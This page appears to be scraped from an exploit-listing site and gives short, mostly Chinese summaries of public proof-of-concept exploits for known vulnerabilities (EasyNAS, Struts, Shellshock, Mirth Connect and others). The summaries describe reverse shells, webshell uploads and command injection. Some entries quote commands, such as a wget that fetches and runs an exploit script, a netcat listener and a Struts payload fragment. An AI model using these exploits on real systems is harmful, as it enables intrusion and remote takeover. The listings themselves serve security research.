CVE-2023-0830

CVE-2023-0830: EasyNAS 1.1.0 认证后 OS 命令注入漏洞利用 这个 Python 脚本是针对 EasyNAS 1.1.0 版本的强大利用工具，具有增强功能，包括集成监听器。所利用的漏洞是一个命令注入缺陷，需要认证。 脚本与目标服务器建立会话，然后使用用户提供的凭据发送登录请求。成功认证后，脚本构造一个有效载荷，执行时打开一个反向 shell 连接到用户指定的 IP 和端口。该有效载荷经过 URL 和 Base64 编码，然后通过精心构造的 GET 请求注入到服务器上的 backup.pl 文件中。 CVE: CVE-2023-0830 漏洞利用作者 Ivan...

Nagios-CVE-2019-15949-RCE

Nagios-CVE-2019-15949-RCE-Poc un PoC en Python para el CVE-2019-15949 Resumen Existe una vulnerabilidad en Nagios XI = 5.6.5 que permite a un atacante aprovechar un RCE para escalar privilegios a root. El exploit requiere acceso al servidor como el usuario 'nagios', o acceso CCM a través de la...

CVE-2023-43208-PoC

CVE-2023-43208 - Mirth Connect 未认证远程代码执行 要求 Python 3.11 或更高版本（已在 3.11、3.12、3.13 上测试） 安装 root@kitploit: Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt 用法 root@kitploit: Check version only python3...

CVE-2024-40453

CVE-2024-40453 - Squirrelly v9.0.0 RCE 免责声明： 本脚本仅供教育用途。 请勿将其用于非法目的。 如果用于非法目的，责任完全由使用者承担；本人不对任何滥用行为负责。 描述 该脚本会在当前目录下创建一个名为 payload.sh 的反向 Shell。 然后它在 80 端口上托管一个 HTTP 服务器，供受害者拉取 payload.sh。 攻击者机器上需要启动一个监听器。 HTTP 服务器会在 3 秒后关闭，以便受害者拉取并执行 payload.sh。 漏洞利用说明 基于以下信息，开发了此概念验证（POC）。...

CVE-2022-1609

CVE-2022-1609 针对 CVE-2022-1609 WordPress Weblizar 后门的 Bash poc 如何安装 ？ root@kitploit: wget https://raw.githubusercontent.com/NullBrunk/CVE-2022-1609/main/exploit.sh chmod +x exploit.sh ./exploit.sh 如何使用 ？ root@kitploit: NullBrunk$ ./exploit.sh http://127.0.0.1:8080 + Targeting http://127.0.0.1:808...

Sunhillo SureLine <8.7.0.1.1 - Unauthenticated OS Command Injection

Sunhillo SureLine 8.7.0.1.1 is vulnerable to OS command injection. The /cgi/networkDiag.cgi script directly incorporated user-controllable parameters within a shell command, allowing an attacker to manipulate the resulting command by injecting valid OS command input. The following POST request...

Chamilo LMS <= 1.11.24 - Remote Code Execution

Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS = v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. id: CVE-2023-422...

Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management RMM 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leadin...

OpenDreambox 2.0.0 - Remote Code Execution

OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py. id: CVE-2017-14135 info: nam...

Websvn <2.6.1 - Remote Code Execution

WebSVN before 2.6.1 allows remote attackers to execute arbitrary commands via shell metacharacters in the search parameter. id: CVE-2021-32305 info: name: Websvn 2.6.1 - Remote Code Execution author: gy741 severity: critical description: WebSVN before 2.6.1 allows remote attackers to execute...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by...

Apache Spark - Authentication Bypass

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication spark.authenticate via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

CVE-2026-0073-Android-client-TLS-auth-bypass

CVE‑2026‑0073 是 Android ADB 守护进程（adbd）中的一个逻辑错误，允许攻击者绕过 TLS 双向认证，在已启用无线调试并且至少与某台计算机配对过一次的设备上打开远程 shell。根本原因是一个API的误用：OpenSSL 的 EVPPKEYcmp 返回值被当作布尔值处理，而实际上这是一个三值结果。 正常 ADB 无线调试的认证流程 当我们在 Android 开发者设置中启用无线调试时，设备会启动一个 adbd 实例，监听一个随机 TCP 端口。 注意：该功能从 Android 11 开始引入。 协议分为两个阶段： 1. 明文协商：主机通过 TCP 连接，交换...

CVE-2025-46157

CVE-2025-46157 CVE-2025-46157 – Timetrax V1 2025 远程代码执行与权限提升 摘要 在 Timetrax V1 2025 中发现了一个严重漏洞，允许经过身份验证的用户绕过文件上传限制并实现远程代码执行 RCE 。该问题存在于考勤模块的请假申请表单 中，由于服务器端验证薄弱，攻击者可以通过修改请求上传恶意的 .asp Web Shell。 进一步利用可通过滥用 SeImpersonatePrivilege 使用 EfsPotato 技术实现权限提升至 SYSTEM 。 漏洞详情 ✅ 远程代码执行 RCE 组件： 考勤模块中的请假申请表单 原因：...

POC-IngressNightmare-CVE-2025-1974

Shell.so 构建器（基于 Alpine） 本项目允许你在 Docker 容器中使用 Alpine Linux 构建 shell.so 负载。 使用说明 1. 克隆仓库 ： git clone cd 2. 构建负载 ： ./runbuild.sh 编译后的 shell.so 将生成在项目根目录中。 ⚠️ 重要提示：反向连接的 IP 和端口已硬编码在 shell.c 中。构建负载前请务必更新它们。...

CVE-2025-6002

针对 CVE-2025-6002 的漏洞利用 该脚本利用 VirtueMart 4.4.10 中经过认证的任意文件上传漏洞（CVE-2025-6002），该漏洞在这篇博客文章中有所描述：https://blog.blacklanternsecurity.com/p/doomla-zero-days 该脚本使用给定的凭据登录 VirtueMart，创建一个新产品，并将一个 PHP webshell 作为媒体文件上传。随后，它会向所提供的 IP/端口发起一个反弹 shell。 参数： --url: VirtueMart 的 URL --username: 管理员用户名...

S2-052

CVE-2017-9805 （S2-052）反弹Shell Exploit 影响版本 root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 Poc root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.int...

CVE-2007-2447

CVE-2007-2447 为了测试该脚本，我推荐你使用虚拟机 "metasploitable 2"，可在此处获取。 如果漏洞利用成功，脚本将显示一个反向 shell。要建立连接，只需打开一个 netcat 会话，如下所示： root@kitploit: netcat -lnvp 目录 示例 依赖项 载荷 示例 root@kitploit: py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14 以及我的 netcat 端： root@kitploit: netcat -lnvp 1337 结果： netcat 端： alt text 脚本端...

cgi-bin-shellshock

使用方法 克隆仓库（或直接复制粘贴你偏好的脚本） root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh 运行脚本 Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp 注意：默认 LPORT 为 4444，URL 为必填项。如果只提供 URL，则执行 RCE；否则，它将针对给定的 lhost 和 lport 执行 RSHELL。...